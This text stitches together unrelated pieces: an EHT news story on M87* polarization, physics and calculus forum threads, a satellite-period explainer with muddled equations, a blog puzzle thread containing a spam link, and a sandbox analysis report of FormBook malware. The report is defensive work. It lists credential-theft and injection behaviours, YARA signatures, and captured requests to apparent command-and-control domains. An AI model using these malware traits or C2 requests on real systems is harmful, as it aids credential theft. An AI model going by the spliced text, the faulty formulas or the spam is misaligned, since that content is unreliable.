Journal: The Event Horizon Telescope Collaboration et al. First M87 Event Horizon Telescope Results. IV. Imaging the Central Supermassive Black Hole. The Astrophysical Journal Letters. Published online April 10, 2019. doi:10.3847/2041-8213/ab0e85.
Journal: The Event Horizon Telescope Collaboration et al. First M87 Event Horizon Telescope Results. V. Physical Origin of the Asymmetric Ring. The Astrophysical Journal Letters. Published online April 10, 2019. doi:10.3847/2041-8213/ab0f43.
Journal: The Event Horizon Telescope Collaboration et al. First M87 Event Horizon Telescope Results. VI. The Shadow and Mass of the Central Black Hole. The Astrophysical Journal Letters. Published online April 10, 2019. doi:10.3847/2041-8213/ab1141.
Lisa Grossman is the astronomy writer. She has a degree in astronomy from Cornell University and a graduate certificate in science writing from University of California, Santa Cruz. She lives near Boston.
Physics writer Emily Conover studied physics at the University of Chicago. She loves physics for its ability to reveal the secret rules about how stuff works, from tiny atoms to the vast cosmos.
## Black-hole breakthrough: New images show magnetic fields around M87*
The black hole at the centre of the M87 galaxy is like a giant fire-breathing dragon that spews enormous jets of energetic particles at near light speeds across some 5,000 light years of space.
A new view of this black hole in polarized light, released today by the Event Horizon Telescope (EHT) collaboration, will help astrophysicists understand just how those jets are launched by this monstrous black hole.
A team led by Avery Broderick, a member of the EHT collaboration who is an astrophysicist at the University of Waterloo and Perimeter Institute for Theoretical Physics in Waterloo, contributed to making this new view in polarized light possible.
“It is a breakthrough in radio astronomy to see the polarization structure on horizon scales around the black hole,” Broderick said.
The black hole known as M87* (for Messier 87 star) became famous in 2019 as the subject of the historic first-ever picture of a black hole ever taken.
This is yet another first. It is the first time that astronomers have been able to measure polarization this close to the edge of a black hole. It enables scientists to trace the structure of the magnetic fields that drive the powerful jets extending far beyond the galaxy.
In the same way polarised sunglasses help us see better by reducing reflections and glare from bright surfaces, astronomers can sharpen their vision of the region around the black hole by looking at how the light originating from there is polarized.
“The observations suggest that the magnetic fields at the black hole’s edge are strong enough to push back on the hot gas and help it resist gravity’s pull. Only the gas that slips through the field can spiral inwards to the event horizon,” said Jason Dexter, Assistant Professor at the University of Colorado Boulder, US, and one of the co-ordinators of the EHT Theory Working Group, in a press release.
But getting accurate polarization data has been a long-standing challenge in radio astronomy. Broderick and his team played a part in finding solutions to those problems.
“Misaligned antennas, imperfect polarization signal separation, and wavelength-dependent optical elements all result in mixing polarized and unpolarized emission — this mixing has the unfortunate effect of creating false polarization signals and corrupting real ones,” Broderick said.
One was the development of Themis, the flexible and powerful analysis software that helps extract information from the observational data much more efficiently, and thus improves the accuracy in modelling the physical processes around black holes.
“Themis is a suite of analysis tools. It's really an analysis framework for EHT data and it was a key component in the first M87 science results. But now, it's also expanded polarized image production,” Broderick says.
It helps the telescopes work “smarter, not harder,” Broderick says. It is also modular and can be adapted to fit new data sets over time, Broderick adds. “It's a LEGO set for building analysis of EHT data.”
Broderick also worked with collaborators to develop “closure traces,” a clever mathematical way of combining multiple telescope measurements in order to circumvent polarization errors.
They drew inspiration from the work of radio astronomers in the late 1950s, who developed other types of “closure quantities” to correct for errors in the phase and amplitude measurements of the light coming into telescopes. “Closure traces are the first such quantities discovered in 60 years, and provide a direct window onto the polarized structure of M87,” Broderick says.
Broderick was also central to bringing the EHT’s new view into agreement with that from ALMA (the Atacama Large Millimeter/submillimeter Array) in northern Chile, on scales a million times larger. This was done by simultaneously modeling the small-scale structures seen by the EHT and a large-scale component seen only by ALMA, placing limits on a key systematic uncertainty—Faraday rotation—that bedevils the interpretation of astronomical polarization generally.
The new polarized light images of M87* is a tremendous achievement, Broderick said. No longer are scientists merely looking at “blobs of light” moving in a halo around a black hole. “Now we’re studying actual structures.”
The jets launched by supermassive black holes have an enormous impact on the formation and structure of galaxies and clusters of galaxies, he adds. “If you wanted to understand why galaxies and galaxy clusters look the way they do, you absolutely have to understand how black holes do this magic trick.”
Seeing how black holes interact with their surroundings can also help inform physicists about gravity in extreme environments. Over time, it will also help them “build out the dictionary” to relate the astronomical measurements taken now and in the past, to what black holes are doing.
In a sense, M87 and how it launches its jets can be like a “Rosetta Stone” in understanding the cosmos, Broderick says. The jets launched by black holes shape their environment on intergalactic scales, expanding the influence of the black hole well beyond its immediate vicinity. “Every piece of evidence that tells us a little bit more about where these jets come from is settling key questions in why the universe looks the way it does.”
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# Dynamics: Curvilinear motion
1. Feb 9, 2008
### chrsr34
Hi guys,Im Chris, im new here. Im in Dynamics doing curvilinear motion.
1. The problem statement, all variables and given/known data
A truck travels at a speed of 4m/s along a circular road with radius if 50m. For a short distance, from s=0, its speed is then increased by a(tan) = (0.05s) m/s, where s is in meters. Determine the speed and acceleration magnitude at s=10. (i can find the a-magnitude easily after i find v, i just cant find v)
2. Relevant equations
acceleration and velocity equations
a(tan)ds = v dv
3. The attempt at a solution
Ive tried to attempt this using integration with respect to s, but this does not yield the correct answer, so its the incorrect procedure. The answer is 4.58 m/s.
I have never seen or dealt with integration with respect to displacement, therefore i dont know how to approach this problem. The book says nothing on figuring this out. Any help is appreciated, Thanks!
Chris
Last edited: Feb 9, 2008
2. Feb 9, 2008
### Tom Mattson
Staff Emeritus
Hello, and welcome to PF!
Integration is indeed the way to go, so you must have made an error there. Let's see what you did, and then we can help you.
3. Feb 9, 2008
### chrsr34
Thank you! well i integrated and got v = 0.025s^2, s = 10. This yeilds 2.5 m/s. Adding this to the initial 4 m/s yields 6.5 m/s. This is incorrect. the answer is 4.58 m/s. So, where is my error? I am quite dumbfounded...
4. Feb 9, 2008
### chrsr34
Im starting to think this should be in advanced physics as it requires perhaps some difficult manipulation? Im in calc 3 and have no idea what to do...
To the Moderator, please move if you feel fit
Last edited: Feb 9, 2008
5. Feb 10, 2008
### Rainbow Child
You can not add the initial velocity. From the integration you have
$$\int_4^{v_f} v\,d\,v=\int_0^{s_f}\frac{s}{20}d\,s\Rightarrow \frac{1}{2}\,v^2\Big|_4^{v_f}=\frac{1}{40}\,s^2_f \Rightarrow u_f^2-4^2=\frac{1}{20}\,s_f^2$$
6. Feb 10, 2008
### chrsr34
wow,i did not even think about integrating the v from 4-vf. Thank you so much. But just to be clear, you say that i cant add the initial velocity. The final answer of that integration is .58m/s so that would conclude that I do have to add the initial 4 m/s to get 4.58m/s. Isnt this correct?
Last edited: Feb 10, 2008
7. Feb 10, 2008
### Rainbow Child
Which integration?
If the initial velocity is $v_i$ then the final velocity is $v_$ then
$$v_f^2=v_i^2+\frac{1}{20}\,s^2\Rightarrow v_f=\sqrt{v_i^2+\frac{1}{20}\,s^2}$$
The final velocity is not proportional to the initial velocity. That's why you can not add it.
Is it clear?
8. Feb 10, 2008
### chrsr34
Hmm, now im even more confused. Plugging s and vi into that equation gives me 6.4 m/s = vf. I dont understand, if the initial vi is 4m/s, and then accelerates for 10m to a new vf, wouldnt you be adding vi + delta v to get final velocity?
$$u_f^2-4^2=\frac{1}{20}\,s_f^2$$ solving for uf yields .58
Last edited: Feb 10, 2008
9. Feb 10, 2008
### Rainbow Child
How did you find $v_f=6.4\,m/sec$? For $s=10\,m,\,v_i=4\,m/sec$ you get
$$v_f=\sqrt{16+\frac{100}{20}}\Rightarrow v_f=\sqrt{21}\Rightarrow v_f=4.58\,m/sec$$
The definition of the acceleration is $a=\frac{d\,v}{d\,t}\Rightarrow d\,v=a\,d\,t\Rightarrow v_f-v_i=\int_0^{t_f}a\,d\,t$. If you call $\Delta v=\int_0^{t_f}a\,d\,t$ then of course you can write $v_f=v_i+\Delta v$.
10. Feb 10, 2008
### chrsr34
oh yes, your right, i was squaring the 100/20 by accident. I still dont fully understand the entire process but ill try and figure it out. Thanks again Rainbow Child.
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# Time Period of Satellite
## Time Period of Satellite
A satellite is anything that orbits around a larger object. A natural satellite is any celestial body in space that orbits around a larger body. Moons are called natural satellites because they orbit planets. Time period of satellite is the time taken by a satellite to complete one revolution around the earth and is denoted by T. Thus,
$$T=\frac{Dis\tan ce\,\,travelled\,\,in\,\,one\,\,revolution}{Orbital\,\,Velocity}=\frac{2\pi r}{v}$$.
$$T=\frac{2\pi r}{R}\sqrt{\frac{r}{g}}=\frac{2\pi }{R}\sqrt{\frac{{{r}^{3}}}{g}}=\frac{2\pi r}{R}\sqrt{\frac{{{(R+h)}^{3}}}{g}}$$… (1)
If the earth is supposed to be a sphere of mean density ρ, then the mass of the earth is:
$$M=\frac{4}{3}\pi {{R}^{3}}\rho$$ and $$g=\frac{GM}{{{R}^{2}}}=\frac{G}{{{R}^{2}}}\left( \frac{4}{3}\pi {{R}^{3}}\rho \right)=\frac{4G\pi R\rho }{3}$$.
Substitute the value of g in the equation (1), we get:
$$T=\frac{2\pi }{R}\sqrt{\frac{3{{(R+h)}^{3}}}{4\pi GR\rho }}=\sqrt{\frac{4{{\pi }^{2}}}{{{R}^{2}}}\times \frac{3{{(R+h)}^{3}}}{4\pi GR\rho }}=\sqrt{\frac{3\pi {{(R+h)}^{3}}}{G\rho {{R}^{3}}}}$$ … (2)
For a satellite orbiting close to the surface of earth, h << R.
∴ h + R ≈ R
From equation (1), $$T=\sqrt{\frac{3\pi }{G\rho }}$$.
From equation (2),
$$T=\frac{2\pi }{R}\sqrt{\frac{{{R}^{3}}}{g}}=2\pi \sqrt{\frac{R}{g}}$$ … (3)
By substituting g = 9.8 m/sec² and R = 6.4 x 10⁶ m in equation (3), we get the value of T = 5.08 x 10³ sec = 84.6 Minutes. It means a satellite orbiting close to the surface of the earth has a time period of revolution about 84.6 Minutes.
It is clear from equation (2) that the period of revolution of a satellite depends only upon its height above the earth’s surface. The larger is the height of a satellite above the surface of earth, greater will be its period of revolution.
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19 September 2008
A surprise from differential equations
A problem which circulated among the grad students here at Penn today, which came up while somebody was teaching differential equations:
Consider the differential equation dy/dx = (y-1)2. Separate variables and integrate both sides as usual; you get y(x) = 1 - 1/(x+C), where C is determined by the initial condition. Take the limit as x goes to infinity, and you get limx -> ∞ y(x) = 1, regardless of C.
But now notice that dy/dx is positive for all y. (We're working over the reals here.) So if the initial condition is of the form y(x0) = y0 for some y0 > 1, then we start at 1 and keep going upwards; how can the limit be 1?
Of cousre there's a mistake somewhere in here. But where is it? (I know the answer, but it took annoyingly long to figure out.)
edit: the differential equation was wrong.
Jacob Fugal said...
Is it just that you (the generic you, not necessarily you personally) integrated the left hand side as dy/(y-1)^2 instead of as (y-1)^2 dy? As far as I can tell it should be the latter.
With the former I get y=1-1/(x+C); with the latter I instead get 1+(3x+C)^(1/3). The latter goes to plus or minus infinity as x goes to infinity, so appears to work.
unapologetic said...
To put it more bluntly than jacob, that's not remotely what you get when you integrate, and it leapt right out at me that it didn't sound at all right.
In other puzzlers: "4 and 5 is 7" or "4 and 5 are 7"?
unapologetic said...
On the other hand if you MEANT (y-1)^2 instead of (y-1)^{-2}:
The problem is that any solution has a pole. In particular, if y_0>1, then the pole is to the right of x_0, and so as you increase x the solution blows up in finite time.
Come on, Michael. I'm even allergic to analysis!
Michael Lugo said...
Jacob,
thanks for pointing out the error; it's fixed now. The error is not that I can't integrate.
Anonymous said...
If y_0 > 1, then the solution is not defined for all positive times.
tk said...
y_0 - 1 positive implies that
x_0 + C is negative.
Hope this doesn't spoil too much.
Steve said...
The graph of the solution explains everything. Put in another way, "we start at 1 and keep going upwards" is not how we calculate limits.
K said...
dy/dx > 0 only means that y(x) increases monotonically - it doesn't say anything about how y(x) is bounded.
The limit of y(x) as x approaches infinity is 1; we could take this to mean that y(x) is bounded above by 1.
Which leaves us with a y(x) that is greater than 0 and less than 1 for x between 0 and infinity.
I guess the bug is the assumption
"if the initial condition is of the form y(x0) = y0 for some y0 > 1" - it should've been "for some y0 > 0".
P.S: I'm not a mathematician, so there can possibly be errors in the statements that I've made above. I would be glad to have them pointed out.
K said...
Sorry bug in my comment :)
"which leaves us with a y(x) that is greater than 0 and less than 1" - not necessarily, y(x) can be negative. It's just bounded above by 1.
Brain fart.
Pat B said...
If I wanted to ask my high school pre-calc class this, I would just ask them to draw a graph that has a horizontal asymptote at y=1 and always has a positive slope, and if they couldn't draw one, I'd be a little disappointed...
but they don't know much about diff equations..
Pat B said...
Sorry, guess I would need to tell them f(2) >1... to take care of the last part.. but that wouldn't bother them much..
David said...
I'm going to add my two cents, even though John probably already articulated it. For any C, there is no x, so that 1/(x+C) = 0 [and so no x, so that y = 1 - 0 = 1]. You can't start at y_0 = 1.
Are you going to see Gelman today? I tried, to no avail, to convince my wife that we should have dinner in Philly tonight.
misha said...
Has anybody noticed that when we integrate dy/(y-1)^2 OVER REALS, we get TWO constants of integration, one for y>1 and the other for y<1. Likewise, when we integrate dx/|x| OVER REALS, we don't get ln|x|+C, but ln(x)+C+ for x>0 and ln(-x)+C- for x<0 where C+ and C- may not be equal to each other. Tell it to your calculus students.
misha said...
So, your differential equation, Isabel, viewed over reals, defines 3 separate dynamical systems: one for y>1, the other for y<1 and the third for y=1.
unapologetic said...
Yes, we've noticed it. Every calculus book I've taught from mentions it, or the more general fact that constants of integration only have meaning over connected domains of definition. We already do tell our calculus students this. Calculus curricula are not as broken as you think.
misha said...
This comment has been removed by the author.
misha said...
To anapologetic: I am glad you do, but why "we?" Why do you act as a true believer defending your venerable institution and not just speak for yourself?
unapologetic said...
why "we?"
Because every calculus instructor with whom I've ever worked, at any institution, has also made this point in his or her class.
Why do you act as a true believer defending your venerable institution?
Why do you act as a parasitic crank, using other people's comment threads to rail against an institution he seems to think has wronged him in some way?
misha said...
unapologetic said...
criticism != censorship
misha said...
Going back to the question of integration constants, I haven't seen this particular fact about integral of dx/x^2 or dx/x mentioned explicitly in a calculus book, and I have seen quite a few of them. Some students that I talked to, found it amusing, it looks like this idea is not as widely known as it should be. Can anybody give me any references (like book names and page numbers)? I've checked a few popular texts that I have in pdf or djvu, and none of them mentioned it.
Dave Marain said...
Coming late to this...
Here's how I see this:
dy/dx>0 would imply y is increasing for all reals if we knew the function was continuous for all reals. However, as it turns out,the function is discontinuous at x = -C (vertical asymptote, infinite discontinuity). Also, y never attains the value y = -1.
y certainly is increasing on each of its disconnected branches.
If we were to define an initial condition, say y(0) = 1, we would obtain a particular solution of y = -1/(x-0.5) -1. The left-branch of the hyperbola passes through (0,1) and y incr without bound as x approaches 1/2 from the left. As x-->±∞, y approaches -1 (horiz asymptote).
Pls correct any careless errors I may have made.
A wonderful calc instructor (Doug shaw I believe is his name), has created a web site with a whole set of "Find the Calculus Errors". You may find it from Googling. Of course students who don't want to be bothered with the restrictions or conditions (hypotheses) of theorems, see no point to these kinds of logic exercises. Hopefully, we do!
Dave Marain
MathNotations
Dave Marain said...
Minor correction in my last comment...
I was working with dy/dx = (y+1)^2. Basic argument remains the same with appropriate sign change, I think.
Dave
Anonymous said...
buy photoshop 5 [url=http://sunkomutors.net/]discount software microsoft office[/url] software to store photos
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# Math Help - Volume of a soild using double integralsand polar coordinates
1. ## Volume of a soild using double integralsand polar coordinates
Hello
I am trying to find the volume the region above the cone $z=\sqrt{x^2+y^2}$ and below the sphere $x^2+y^2+z^2=1$
I was told to consider the difference $z=\sqrt{x^2+y^2} - \sqrt{1-(x^2+y^2)}$
and to set the two equations equal to each other to get bounds
$\sqrt{x^2+y^2}=\sqrt{1-(x^2+y^2)}$
simplifies to
$x^2+y^2 = \frac{1}{2}$
so
$0 \leq \theta \leq 2\pi$
and
$0 \leq r \leq \frac{1}{\sqrt{2}}$
I can easily set up the integral from here. But I don't understand the geometry behind these steps. Could someone explain to me please?
2. ## Re: Volume of a soild using double integralsand polar coordinates
Reverse the difference...
$\sqrt{1 - (x^2 + y^2)} - \sqrt{x^2 + y^2}$
$\text{i.e. }\sqrt{1 - r^2} - r$
and see it as the range of the inner-most integral of three...
$\displaystyle{\int_0^{2 \theta} \int_0^{\frac{1}{\sqrt{2}}} \int_r^{\sqrt{1 - r^2}}\ r\ dz\ dr\ d\theta$
... i.e. at every step along every 1/root2 radius about the origin in the z=0 plane, you are measuring the distance from the point on the cone directly above you (where z = r) up to as far as the point on the sphere directly above that (where z = root(1 - r^2)).
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Play interactive tourEdit tour
# Analysis Report Mqbmupv_Signed_.exe
## Overview
### General Information
Sample Name: Mqbmupv_Signed_.exe Analysis ID: 288093 MD5: 20a3b044b6d1b39051e35269e6590c0b SHA1: bc6bc3a617091a5f13dcfe134b3a55d19e8f77e6 SHA256: 2ead77594bc7d6fb376764fad896f830955a1ac70155c0f9feb42299f5c788a9 Tags: exe Most interesting Screenshot:
### Detection
FormBook
Score: 100 Range: 0 - 100 Whitelisted: false Confidence: 100%
### Signatures
Detected FormBook malware
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
System process connects to network (likely due to code injection or exploit)
Yara detected FormBook
Allocates memory in foreign processes
Injects a PE file into a foreign processes
Maps a DLL or memory area into another process
Modifies the prolog of user mode functions (user mode inline hooks)
Queues an APC in another process (thread injection)
Sample uses process hollowing technique
Tries to detect virtualization through RDTSC time measurements
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file access)
Uses ipconfig to lookup or modify the Windows network settings
Writes to foreign memory regions
Antivirus or Machine Learning detection for unpacked file
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to call native functions
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Enables debug privileges
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE / OLE file has an invalid certificate
PE file contains strange resources
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara signature match
### Classification
System is w10x64Mqbmupv_Signed_.exe (PID: 6892 cmdline: 'C:\Users\user\Desktop\Mqbmupv_Signed_.exe' MD5: 20A3B044B6D1B39051E35269E6590C0B)notepad.exe (PID: 344 cmdline: C:\Windows\System32\Notepad.exe MD5: D693F13FE3AA2010B854C4C60671B8E2)cmd.exe (PID: 6308 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\Public\Natso.bat MD5: F3BDBE3BB6F734E357235F4D5898582D)conhost.exe (PID: 6436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)cmd.exe (PID: 6316 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\Public\Natso.bat MD5: F3BDBE3BB6F734E357235F4D5898582D)conhost.exe (PID: 5824 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)ieinstal.exe (PID: 6544 cmdline: C:\Program Files (x86)\internet explorer\ieinstal.exe MD5: DAD17AB737E680C47C8A44CBB95EE67E)explorer.exe (PID: 3376 cmdline: MD5: AD5296B280E8F522A8A897C96BAB0E1D)Mqbmnet.exe (PID: 6912 cmdline: 'C:\Users\user\AppData\Local\Mqbmnet.exe' MD5: 20A3B044B6D1B39051E35269E6590C0B)ieinstal.exe (PID: 2212 cmdline: C:\Program Files (x86)\internet explorer\ieinstal.exe MD5: DAD17AB737E680C47C8A44CBB95EE67E)Mqbmnet.exe (PID: 5976 cmdline: 'C:\Users\user\AppData\Local\Mqbmnet.exe' MD5: 20A3B044B6D1B39051E35269E6590C0B)ieinstal.exe (PID: 5204 cmdline: C:\Program Files (x86)\internet explorer\ieinstal.exe MD5: DAD17AB737E680C47C8A44CBB95EE67E)autochk.exe (PID: 1748 cmdline: C:\Windows\SysWOW64\autochk.exe MD5: 34236DB574405291498BCD13D20C42EB)ipconfig.exe (PID: 1372 cmdline: C:\Windows\SysWOW64\ipconfig.exe MD5: B0C7423D02A007461C850CD0DFE09318)control.exe (PID: 4864 cmdline: C:\Windows\SysWOW64\control.exe MD5: 40FBA3FBFD5E33E0DE1BA45472FDA66F)cleanup
## Malware Configuration
No configs have been found
SourceRuleDescriptionAuthorStrings
C:\Users\user\AppData\Local\Mqbm.urlMethodology_Shortcut_HotKeyDetects possible shortcut usage for .URL persistence@itsreallynick (Nick Carr)
• 0x87:$hotkey: \x0AHotKey=1 • 0x0:$url_explicit: [InternetShortcut]
C:\Users\user\AppData\Local\Mqbm.urlMethodology_Contains_Shortcut_OtherURIhandlersDetects possible shortcut usage for .URL persistence@itsreallynick (Nick Carr)
• 0x14:$file: URL= • 0x0:$url_explicit: [InternetShortcut]
C:\Users\user\AppData\Local\Mqbm.urlMethodology_Suspicious_Shortcut_IconNotFromExeOrDLLOrICODetects possible shortcut usage for .URL persistence@itsreallynick (Nick Carr)
• 0x5c:$icon: IconFile= • 0x0:$url_explicit: [InternetShortcut]
SourceRuleDescriptionAuthorStrings
00000015.00000003.340352815.0000000004464000.00000004.00000001.sdmpMethodology_Contains_Shortcut_OtherURIhandlersDetects possible shortcut usage for .URL persistence@itsreallynick (Nick Carr)
• 0x1258:$file: URL= • 0x123c:$url_explicit: [InternetShortcut]
00000015.00000003.340352815.0000000004464000.00000004.00000001.sdmpMethodology_Suspicious_Shortcut_IconNotFromExeOrDLLOrICODetects possible shortcut usage for .URL persistence@itsreallynick (Nick Carr)
• 0x1284:$icon: IconFile= • 0x123c:$url_explicit: [InternetShortcut]
00000000.00000003.218982955.00000000023A4000.00000004.00000001.sdmpMethodology_Contains_Shortcut_OtherURIhandlersDetects possible shortcut usage for .URL persistence@itsreallynick (Nick Carr)
• 0x620:$file: URL= • 0x604:$url_explicit: [InternetShortcut]
00000000.00000003.218982955.00000000023A4000.00000004.00000001.sdmpMethodology_Suspicious_Shortcut_IconNotFromExeOrDLLOrICODetects possible shortcut usage for .URL persistence@itsreallynick (Nick Carr)
• 0x64c:$icon: IconFile= • 0x604:$url_explicit: [InternetShortcut]
0000001D.00000002.399135517.0000000003800000.00000040.00000001.sdmpJoeSecurity_FormBookYara detected FormBookJoe Security
Click to see the 49 entries
SourceRuleDescriptionAuthorStrings
29.2.ieinstal.exe.400000.0.unpackJoeSecurity_FormBookYara detected FormBookJoe Security
29.2.ieinstal.exe.400000.0.unpackFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
• 0x8ae8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC • 0x8d52:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
• 0x14875:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 • 0x14361:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
• 0x14977:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F • 0x14aef:$sequence_4: 5D C3 8D 50 7C 80 FA 07
• 0x976a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 • 0x135dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
• 0xa463:$sequence_7: 66 89 0C 02 5B 8B E5 5D • 0x1a457:$sequence_8: 3C 54 74 04 3C 74 75 F4
• 0x1b46a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00 29.2.ieinstal.exe.400000.0.unpackFormbookdetect Formbook in memoryJPCERT/CC Incident Response Group • 0x17539:$sqlite3step: 68 34 1C 7B E1
• 0x1764c:$sqlite3step: 68 34 1C 7B E1 • 0x17568:$sqlite3text: 68 38 2A 90 C5
• 0x1768d:$sqlite3text: 68 38 2A 90 C5 • 0x1757b:$sqlite3blob: 68 53 D8 7F 8C
• 0x176a3:$sqlite3blob: 68 53 D8 7F 8C 9.2.ieinstal.exe.400000.0.raw.unpackJoeSecurity_FormBookYara detected FormBookJoe Security 9.2.ieinstal.exe.400000.0.raw.unpackFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com • 0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
• 0x9b52:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC • 0x15675:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
• 0x15161:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 • 0x15777:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
• 0x158ef:$sequence_4: 5D C3 8D 50 7C 80 FA 07 • 0xa56a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
• 0x143dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 • 0xb263:$sequence_7: 66 89 0C 02 5B 8B E5 5D
• 0x1b257:$sequence_8: 3C 54 74 04 3C 74 75 F4 • 0x1c26a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
Click to see the 7 entries
## Sigma Overview
No Sigma rule has matched
## Signature Overview
### AV Detection:
Multi AV Scanner detection for dropped file Show sources
Source: C:\Users\user\AppData\Local\Mqbmnet.exe Virustotal: Detection: 27% Perma Link Source: C:\Users\user\AppData\Local\Mqbmnet.exe ReversingLabs: Detection: 45%
Multi AV Scanner detection for submitted file Show sources
Source: Mqbmupv_Signed_.exe Virustotal: Detection: 27% Perma Link Source: Mqbmupv_Signed_.exe ReversingLabs: Detection: 45%
Yara detected FormBook Show sources
Source: Yara match File source: 0000001D.00000002.399135517.0000000003800000.00000040.00000001.sdmp, type: MEMORY Source: Yara match File source: 00000019.00000002.474955241.0000000000910000.00000004.00000001.sdmp, type: MEMORY Source: Yara match File source: 00000019.00000002.474675547.00000000007D0000.00000040.00000001.sdmp, type: MEMORY Source: Yara match File source: 00000009.00000002.343939921.00000000009A0000.00000040.00000001.sdmp, type: MEMORY Source: Yara match File source: 0000001E.00000002.397779969.0000000000F30000.00000040.00000001.sdmp, type: MEMORY Source: Yara match File source: 00000019.00000002.471509129.0000000000450000.00000040.00000001.sdmp, type: MEMORY Source: Yara match File source: 0000001D.00000002.395148815.0000000000400000.00000040.00000001.sdmp, type: MEMORY Source: Yara match File source: 00000009.00000002.344896529.0000000002B30000.00000040.00000001.sdmp, type: MEMORY Source: Yara match File source: 00000009.00000002.343414825.0000000000400000.00000040.00000001.sdmp, type: MEMORY Source: Yara match File source: 0000001D.00000002.397372666.0000000003490000.00000040.00000001.sdmp, type: MEMORY Source: Yara match File source: 29.2.ieinstal.exe.400000.0.unpack, type: UNPACKEDPE Source: Yara match File source: 9.2.ieinstal.exe.400000.0.raw.unpack, type: UNPACKEDPE Source: Yara match File source: 9.2.ieinstal.exe.400000.0.unpack, type: UNPACKEDPE Source: Yara match File source: 29.2.ieinstal.exe.400000.0.raw.unpack, type: UNPACKEDPE
Antivirus or Machine Learning detection for unpacked file Show sources
Source: 29.2.ieinstal.exe.400000.0.unpack Avira: Label: TR/Crypt.ZPACK.Gen Source: 9.2.ieinstal.exe.400000.0.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Contains functionality to enumerate / list files inside a directory Show sources
Found inlined nop instructions (likely shell or obfuscated code) Show sources
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 4x nop then pop esi Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 4x nop then pop edi Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 4x nop then pop edi
### Networking:
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) Show sources
Source: Traffic Snort IDS: 1201 ATTACK-RESPONSES 403 Forbidden 34.102.136.180:80 -> 192.168.2.4:49754
HTTP GET or POST without a user agent Show sources
Source: global traffic HTTP traffic detected: GET /ksh/?5jL=uFQxALFPNtNHURy&ATxxQxK=xROuys6hOw0xE+Dg7XC6mGOo/d7SGNs3P82B+JeimXH5Y1WQGK5kyuWTJN9Z6xMQi+6b HTTP/1.1Host: www.thelocaladda.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii: Source: global traffic HTTP traffic detected: GET /ksh/?ATxxQxK=ZldP4CUsQhXvJw3kkl/m6rn8dtomETaFfa4bezIFxsgv0fex9FlIh/12ILez0Zmx81j4&5jL=uFQxALFPNtNHURy HTTP/1.1Host: www.kingofinvest.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
IP address seen in connection with other malware Show sources
Source: Joe Sandbox View IP Address: 52.58.78.16 52.58.78.16 Source: Joe Sandbox View IP Address: 162.159.129.233 162.159.129.233
Internet Provider seen in connection with other malware Show sources
Source: Joe Sandbox View ASN Name: AMAZON-02US AMAZON-02US Source: Joe Sandbox View ASN Name: GOOGLEUS GOOGLEUS
JA3 SSL client fingerprint seen in connection with other malware Show sources
Source: Joe Sandbox View JA3 fingerprint: ce5f3254611a8c095a3d821d44539877
Uses a known web browser user agent for HTTP communication Show sources
